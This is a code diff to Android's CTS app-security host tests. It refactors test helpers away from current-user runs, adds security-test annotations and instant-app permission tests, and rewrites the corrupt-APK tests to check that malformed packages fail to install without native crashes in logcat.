-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant sts
 
 LOCAL_REQUIRED_MODULES := \
 	CtsCorruptApkTests_b71360999 \
@@ -40,4 +40,4 @@
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
 # Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
index 758e6af..797ffcb 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityPreparer.java
@@ -71,10 +71,8 @@
     private void removeSecondaryUsers(ITestDevice device) throws DeviceNotAvailableException {
         final int[] userIds = Utils.getAllUsers(device);
         for (int i = 1; i < userIds.length; i++) {
-            if (device.getCurrentUser() != userIds[i]) {
-                device.removeUser(userIds[i]);
-                CLog.logAndDisplay(LogLevel.INFO, "Destroyed secondary user " + userIds[i]);
-            }
+            device.removeUser(userIds[i]);
+            CLog.logAndDisplay(LogLevel.INFO, "Destroyed secondary user " + userIds[i]);
         }
     }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
index f8f866d..2078fad 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/AppSecurityTests.java
@@ -22,6 +22,8 @@
 import static org.junit.Assert.assertTrue;
 
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -173,15 +175,14 @@
             assertNull(String.format("failed to install app with data. Reason: %s", installResult),
                     installResult);
             // run appwithdata's tests to create private data
-            runDeviceTestsAsCurrentUser(
-                    APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CREATE_METHOD);
+            runDeviceTests(APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CREATE_METHOD);
 
             installResult = getDevice().installPackage(getTestAppFile(APP_ACCESS_DATA_APK),
                     false, options);
             assertNull(String.format("failed to install app access data. Reason: %s",
                     installResult), installResult);
             // run appaccessdata's tests which attempt to access appwithdata's private data
-            runDeviceTestsAsCurrentUser(APP_ACCESS_DATA_PKG);
+            runDeviceTests(APP_ACCESS_DATA_PKG);
         } finally {
             getDevice().uninstallPackage(APP_WITH_DATA_PKG);
             getDevice().uninstallPackage(APP_ACCESS_DATA_PKG);
@@ -205,8 +206,7 @@
             assertNull(String.format("failed to install app with data. Reason: %s", installResult),
                     installResult);
             // run appwithdata's tests to create private data
-            runDeviceTestsAsCurrentUser(
-                    APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CREATE_METHOD);
+            runDeviceTests(APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS, APP_WITH_DATA_CREATE_METHOD);
 
             getDevice().uninstallPackage(APP_WITH_DATA_PKG);
 
@@ -215,7 +215,7 @@
             assertNull(String.format("failed to install app with data second time. Reason: %s",
                     installResult), installResult);
             // run appwithdata's 'check if file exists' test
-            runDeviceTestsAsCurrentUser(APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS,
+            runDeviceTests(APP_WITH_DATA_PKG, APP_WITH_DATA_CLASS,
                     APP_WITH_DATA_CHECK_NOEXIST_METHOD);
         } finally {
             getDevice().uninstallPackage(APP_WITH_DATA_PKG);
@@ -249,7 +249,7 @@
             // run INSTRUMENT_DIFF_CERT_PKG tests
             // this test will attempt to call startInstrumentation directly and verify
             // SecurityException is thrown
-            runDeviceTestsAsCurrentUser(INSTRUMENT_DIFF_CERT_PKG);
+            runDeviceTests(INSTRUMENT_DIFF_CERT_PKG);
         } finally {
             getDevice().uninstallPackage(TARGET_INSTRUMENT_PKG);
             getDevice().uninstallPackage(INSTRUMENT_DIFF_CERT_PKG);
@@ -262,6 +262,7 @@
      */
     @Test
     @AppModeFull // TODO: Needs porting to instant
+    @SecurityTest
     public void testPermissionDiffCert() throws Exception {
         Log.i(LOG_TAG, "installing app that attempts to use permission of another app");
         try {
@@ -287,7 +288,7 @@
             assertNull(String.format("failed to install permission app with diff cert. Reason: %s",
                     installResult), installResult);
             // run PERMISSION_DIFF_CERT_PKG tests which try to access the permission
-            runDeviceTestsAsCurrentUser(PERMISSION_DIFF_CERT_PKG);
+            runDeviceTests(PERMISSION_DIFF_CERT_PKG);
         } finally {
             getDevice().uninstallPackage(DECLARE_PERMISSION_PKG);
             getDevice().uninstallPackage(DECLARE_PERMISSION_COMPAT_PKG);
@@ -306,14 +307,7 @@
         assertTrue("Error text", output.contains("Error"));
     }
 
-    private void runDeviceTestsAsCurrentUser(String packageName)
-            throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, null, null);
-    }
-
-    private void runDeviceTestsAsCurrentUser(
-            String packageName, String className, String methodName)
-                    throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, className, methodName);
+    private void runDeviceTests(String packageName) throws DeviceNotAvailableException {
+        runDeviceTests(packageName, null);
     }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
index c463d5a..5e2a97b 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/BaseAppSecurityTest.java
@@ -32,6 +32,7 @@
 
     /** Whether multi-user is supported. */
     protected boolean mSupportsMultiUser;
+    protected boolean mIsSplitSystemUser;
     protected int mPrimaryUserId;
     /** Users we shouldn't delete in the tests */
     private ArrayList<Integer> mFixedUsers;
@@ -41,12 +42,22 @@
         Assert.assertNotNull(getBuild()); // ensure build has been set before test is run.
 
         mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
+        mIsSplitSystemUser = checkIfSplitSystemUser();
         mPrimaryUserId = getDevice().getPrimaryUserId();
         mFixedUsers = new ArrayList<>();
         mFixedUsers.add(mPrimaryUserId);
         if (mPrimaryUserId != Utils.USER_SYSTEM) {
             mFixedUsers.add(Utils.USER_SYSTEM);
         }
+        getDevice().switchUser(mPrimaryUserId);
+    }
+
+    private boolean checkIfSplitSystemUser() throws DeviceNotAvailableException {
+        final String commandOuput = getDevice().executeShellCommand(
+                "getprop ro.fw.system_user_split");
+        return "y".equals(commandOuput) || "yes".equals(commandOuput)
+                || "1".equals(commandOuput) || "true".equals(commandOuput)
+                || "on".equals(commandOuput);
     }
 
     protected void installTestAppForUser(String apk, int userId) throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
index edcbd97..6830f30 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ClassloaderSplitsTest.java
@@ -16,7 +16,6 @@
 package android.appsecurity.cts;
 
 import android.platform.test.annotations.AppModeFull;
-import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -62,32 +61,32 @@
     @AppModeFull // TODO: Needs porting to instant
     public void testBaseClassLoader() throws Exception {
         new InstallMultiple().addApk(APK_BASE).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
     }
 
     @Test
     @AppModeFull // TODO: Needs porting to instant
     public void testFeatureAClassLoader() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testFeatureAClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
     }
 
     @Test
     @AppModeFull // TODO: Needs porting to instant
     public void testFeatureBClassLoader() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testFeatureAClassLoader");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testFeatureBClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureAClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testFeatureBClassLoader");
     }
 
     @Test
     @AppModeFull // TODO: Needs porting to instant
     public void testReceiverClassLoaders() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testBaseClassLoader");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "testAllReceivers");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testBaseClassLoader");
+        runDeviceTests(getDevice(), PKG, TEST_CLASS, "testAllReceivers");
     }
 
     private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
@@ -95,10 +94,4 @@
             super(getDevice(), getBuild(), null);
         }
     }
-
-    private void runDeviceTestsAsCurrentUser(
-            String packageName, String testClassName, String testMethodName)
-                    throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
-    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
index 8516c73..6849d0c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/CorruptApkTests.java
@@ -15,24 +15,18 @@
  */
 package android.appsecurity.cts;
 
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.fail;
+import static com.google.common.truth.Truth.assertThat;
 
 import android.platform.test.annotations.AppModeFull;
-import com.android.ddmlib.Log.LogLevel;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.InputStreamSource;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.util.FileUtil;
 
 import org.junit.After;
-import org.junit.Assert;
 import org.junit.Before;
 
 import java.io.File;
@@ -41,115 +35,104 @@
  * Set of tests that verify that corrupt APKs are properly rejected by PackageManager and
  * do not cause the system to crash.
  */
-@AppModeFull(reason = "the corrupt APKs were provided as-is and we cannot modify them to comply with instant mode")
+@AppModeFull // TODO: Needs porting to instant
 public class CorruptApkTests extends DeviceTestCase implements IBuildReceiver {
+    private final String B71360999_PKG = "com.android.appsecurity.b71360999";
+    private final String B71361168_PKG = "com.android.appsecurity.b71361168";
+    private final String B79488511_PKG = "com.android.appsecurity.b79488511";
 
     private IBuildInfo mBuildInfo;
 
-    /** A container for information about the system_server process. */
-    private class SystemServerInformation {
-        final long mPid;
-        final long mStartTime;
-
-        SystemServerInformation(long pid, long startTime) {
-            this.mPid = pid;
-            this.mStartTime = startTime;
-        }
-
-        @Override
-        public boolean equals(Object actual) {
-            return (actual instanceof SystemServerInformation)
-                && mPid == ((SystemServerInformation) actual).mPid
-                && mStartTime == ((SystemServerInformation) actual).mStartTime;
-        }
-    }
-
-    /** Retrieves the process id and elapsed run time of system_server. */
-    private SystemServerInformation retrieveInfo() throws DeviceNotAvailableException {
-        ITestDevice device = getDevice();
-
-        // Retrieve the process id of system_server
-        String pidResult = device.executeShellCommand("pidof system_server").trim();
-        assertNotNull("Failed to retrieve pid of system_server", pidResult);
-        long pid = 0;
-        try {
-            pid = Long.parseLong(pidResult);
-        } catch (NumberFormatException | IndexOutOfBoundsException e) {
-            fail("Unable to parse pid of system_server '" + pidResult + "'");
-        }
-
-        // Retrieve the start time of system_server
-        long startTime = 0;
-        String pidStats = device.executeShellCommand("cat /proc/" + pid + "/stat");
-        assertNotNull("Failed to retrieve stat of system_server with pid '" + pid + "'", pidStats);
-        try {
-            String startTimeJiffies = pidStats.split("\\s+")[21];
-            startTime = Long.parseLong(startTimeJiffies);
-        } catch (NumberFormatException | IndexOutOfBoundsException e) {
-            fail("Unable to parse system_server stat file '" + pidStats + "'");
-        }
-
-        return new SystemServerInformation(pid, startTime);
-    }
-
     @Override
     public void setBuild(IBuildInfo buildInfo) {
         mBuildInfo = buildInfo;
     }
 
-   /** Uninstall any test APKs already present on device. */
-    private void uninstallApks() throws DeviceNotAvailableException {
-        ITestDevice device = getDevice();
-        device.uninstallPackage("com.android.appsecurity.b71360999");
-        device.uninstallPackage("com.android.appsecurity.b71361168");
-        device.uninstallPackage("com.android.appsecurity.b79488511");
-    }
-
     @Before
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        uninstallApks();
+        uninstall(B71360999_PKG);
+        uninstall(B71361168_PKG);
+        uninstall(B79488511_PKG);
     }
 
     @After
     @Override
     public void tearDown() throws Exception {
         super.tearDown();
-        uninstallApks();
+        uninstall(B71360999_PKG);
+        uninstall(B71361168_PKG);
+        uninstall(B79488511_PKG);
+    }
+
+    /** Uninstall the apk if the test failed previously. */
+    public void uninstall(String pkg) throws Exception {
+        ITestDevice device = getDevice();
+        if (device.getInstalledPackageNames().contains(pkg)) {
+            device.uninstallPackage(pkg);
+        }
     }
 
     /**
-     * Asserts that installing the application does not cause a native error causing system_server
-     * to crash (typically the result of a buffer overflow or an out-of-bounds read).
+     * Tests that apks described in b/71360999 do not install successfully.
      */
-    private void assertInstallDoesNotCrashSystem(String apk) throws Exception {
-        SystemServerInformation beforeInfo = retrieveInfo();
+    public void testFailToInstallCorruptStringPoolHeader_b71360999() throws Exception {
+        final String APK_PATH = "CtsCorruptApkTests_b71360999.apk";
+        assertInstallNoFatalError(APK_PATH, B71360999_PKG);
+    }
 
-        final String result = getDevice().installPackage(
-                new CompatibilityBuildHelper(mBuildInfo).getTestFile(apk),
-                false /*reinstall*/);
-        CLog.logAndDisplay(LogLevel.INFO, "Result: '" + result + "'");
-        if (result != null) {
-            assertFalse("Install package segmentation faulted",
-                result.toLowerCase().contains("segmentation fault"));
+    /**
+     * Tests that apks described in b/71361168 do not install successfully.
+     */
+    public void testFailToInstallCorruptStringPoolHeader_b71361168() throws Exception {
+        final String APK_PATH = "CtsCorruptApkTests_b71361168.apk";
+        assertInstallNoFatalError(APK_PATH, B71361168_PKG);
+    }
+
+    /**
+     * Tests that apks described in b/79488511 do not install successfully.
+     */
+    public void testFailToInstallCorruptStringPoolHeader_b79488511() throws Exception {
+        final String APK_PATH = "CtsCorruptApkTests_b79488511.apk";
+        assertInstallNoFatalError(APK_PATH, B79488511_PKG);
+    }
+
+    /**
+     * Assert that installing the app does not cause a native error caused by a buffer overflow
+     * or an out-of-bounds read.
+     **/
+    private void assertInstallNoFatalError(String filename, String pkg) throws Exception {
+        ITestDevice device = getDevice();
+        device.clearLogcat();
+
+        final String result = device.installPackage(
+                new CompatibilityBuildHelper(mBuildInfo).getTestFile(filename),
+                true /*reinstall*/);
+
+        // Starting from P, corrupt apks should always fail to install
+        if (device.getApiLevel() >= 28) {
+            assertThat(result).isNotNull();
+            assertThat(result).isNotEmpty();
+            assertThat(device.getInstalledPackageNames()).doesNotContain(pkg);
         }
 
-        assertEquals("system_server restarted", beforeInfo, retrieveInfo());
-    }
-
-    /** Tests that installing the APK described in b/71360999 does not crash the device. */
-    public void testSafeInstallOfCorruptAPK_b71360999() throws Exception {
-        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b71360999.apk");
-    }
-
-    /** Tests that installing the APK described in b/71361168 does not crash the device. */
-    public void testSafeInstallOfCorruptAPK_b71361168() throws Exception {
-        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b71361168.apk");
-    }
-
-    /** Tests that installing the APK described in b/79488511 does not crash the device. */
-    public void testSafeInstallOfCorruptAPK_b79488511() throws Exception {
-        assertInstallDoesNotCrashSystem("CtsCorruptApkTests_b79488511.apk");
+        // This catches if the device fails to install the app because a segmentation fault
+        // or out of bounds read created by the bug occurs
+        File tmpTxtFile = null;
+        InputStreamSource source = device.getLogcat(200 * 1024);
+        try {
+            assertNotNull(source);
+            tmpTxtFile = FileUtil.createTempFile("logcat", ".txt");
+            FileUtil.writeToFile(source.createInputStream(), tmpTxtFile);
+            String s = FileUtil.readStringFromFile(tmpTxtFile);
+            assertFalse(s.contains("SIGSEGV"));
+            assertFalse(s.contains("==ERROR"));
+        } finally {
+            source.close();
+            if (tmpTxtFile != null) {
+                FileUtil.deleteFile(tmpTxtFile);
+            }
+        }
     }
 }
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 4dc768a..2d1386f 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -58,9 +58,11 @@
 
     private static final long SHUTDOWN_TIME_MS = 30 * 1000;
 
+    private int[] mUsers;
+
     @Before
     public void setUp() throws Exception {
-        Utils.prepareSingleUser(getDevice());
+        mUsers = Utils.prepareSingleUser(getDevice());
         assertNotNull(getAbi());
         assertNotNull(getBuild());
 
@@ -152,13 +154,12 @@
 
             // To receive boot broadcasts, kick our other app out of stopped state
             getDevice().executeShellCommand("am start -a android.intent.action.MAIN"
-                    + " --user current"
                     + " -c android.intent.category.LAUNCHER com.android.cts.splitapp/.MyActivity");
 
             // Give enough time for PackageManager to persist stopped state
             Thread.sleep(15000);
 
-            runDeviceTestsAsCurrentUser(PKG, CLASS, "testSetUp");
+            runDeviceTests(PKG, CLASS, "testSetUp", mUsers);
 
             // Give enough time for vold to update keys
             Thread.sleep(15000);
@@ -178,16 +179,16 @@
 
             if (doTest) {
                 if (MODE_NONE.equals(mode)) {
-                    runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyUnlockedAndDismiss");
+                    runDeviceTests(PKG, CLASS, "testVerifyUnlockedAndDismiss", mUsers);
                 } else {
-                    runDeviceTestsAsCurrentUser(PKG, CLASS, "testVerifyLockedAndDismiss");
+                    runDeviceTests(PKG, CLASS, "testVerifyLockedAndDismiss", mUsers);
                 }
             }
 
         } finally {
             try {
                 // Remove secure lock screens and tear down test app
-                runDeviceTestsAsCurrentUser(PKG, CLASS, "testTearDown");
+                runDeviceTests(PKG, CLASS, "testTearDown", mUsers);
             } finally {
                 getDevice().uninstallPackage(PKG);
 
@@ -204,10 +205,12 @@
         }
     }
 
-    private void runDeviceTestsAsCurrentUser(
-            String packageName, String testClassName, String testMethodName)
-                throws DeviceNotAvailableException {
-        Utils.runDeviceTestsAsCurrentUser(getDevice(), packageName, testClassName, testMethodName);
+    private void runDeviceTests(String packageName, String testClassName, String testMethodName,
+            int... users) throws DeviceNotAvailableException {
+        for (int user : users) {
+            Log.d(TAG, "runDeviceTests " + testMethodName + " u" + user);
+            runDeviceTests(getDevice(), packageName, testClassName, testMethodName, user, null);
+        }
     }
 
     private String getFbeMode() throws Exception {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
index 538bc00..2bda129 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/EphemeralTest.java
@@ -17,6 +17,8 @@
 package android.appsecurity.cts;
 
 import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
+
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
@@ -329,6 +331,22 @@
         runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionGranted");
     }
 
+    @SecurityTest(minPatchLevel = "2020-11")
+    public void testInstallPermissionNotGrantedInPackageInfo() throws Exception {
+        if (isDeviceUnsupported()) {
+            return;
+        }
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionNotGrantedInPackageInfo");
+    }
+
+    @SecurityTest(minPatchLevel = "2020-11")
+    public void testInstallPermissionGrantedInPackageInfo() throws Exception {
+        if (isDeviceUnsupported()) {
+            return;
+        }
+        runDeviceTests(EPHEMERAL_1_PKG, TEST_CLASS, "testInstallPermissionGrantedInPackageInfo");
+    }
+
     /** Test for android.permission.INSTANT_APP_FOREGROUND_SERVICE */
     public void testStartForegrondService() throws Exception {
         if (isDeviceUnsupported()) {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
index aa7998b..b6cd29d 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
@@ -56,7 +56,6 @@
     /** Users we shouldn't delete in the tests */
     private ArrayList<Integer> mFixedUsers;
     private int[] mTestUser = new int[2];
-    private int mStartingUser;
 
     @Override
     public void setAbi(IAbi abi) {
@@ -84,7 +83,6 @@
             if (mPrimaryUserId != USER_SYSTEM) {
                 mFixedUsers.add(USER_SYSTEM);
             }
-            mStartingUser = getDevice().getCurrentUser();
             getDevice().switchUser(mPrimaryUserId);
 
             mTestUser[0] = users[1];
@@ -99,7 +97,6 @@
         if (mSupportsMultiUser) {
             uninstallTestPackages();
         }
-        getDevice().switchUser(mStartingUser);
         super.tearDown();
     }
 
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
index a9ac9b0..dc08b6c 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
@@ -17,7 +17,6 @@
 
 import android.platform.test.annotations.AppModeFull;
 import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
 
@@ -59,12 +58,12 @@
 
     public void testInstallBase() throws Exception {
         new InstallMultiple().addApk(APK_BASE).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
     }
 
     public void testInstallBaseAndConfigSplit() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_BASE_pl).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadPolishLocale");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
     }
 
     public void testInstallMissingDependency() throws Exception {
@@ -73,52 +72,52 @@
 
     public void testInstallOneFeatureSplit() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAReceivers");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAReceivers");
     }
 
     public void testInstallOneFeatureSplitAndConfigSplits() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_BASE_pl)
                 .addApk(APK_FEATURE_A_pl).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadPolishLocale");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
     }
 
     public void testInstallDependentFeatureSplits() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAAndBReceivers");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAAndBReceivers");
     }
 
     public void testInstallDependentFeatureSplitsAndConfigSplits() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
                 .addApk(APK_BASE_pl).addApk(APK_FEATURE_A_pl).addApk(APK_FEATURE_B_pl).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadPolishLocale");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBPolishLocale");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBPolishLocale");
     }
 
     public void testInstallAllFeatureSplits() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
                 .addApk(APK_FEATURE_C).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureAAndBAndCReceivers");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAAndBAndCReceivers");
     }
 
     public void testInstallAllFeatureSplitsAndConfigSplits() throws Exception {
         new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
                 .addApk(APK_FEATURE_C).addApk(APK_BASE_pl).addApk(APK_FEATURE_A_pl)
                 .addApk(APK_FEATURE_C_pl).run();
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureADefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
-        runDeviceTestsAsCurrentUser(PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
     }
 
     @Override
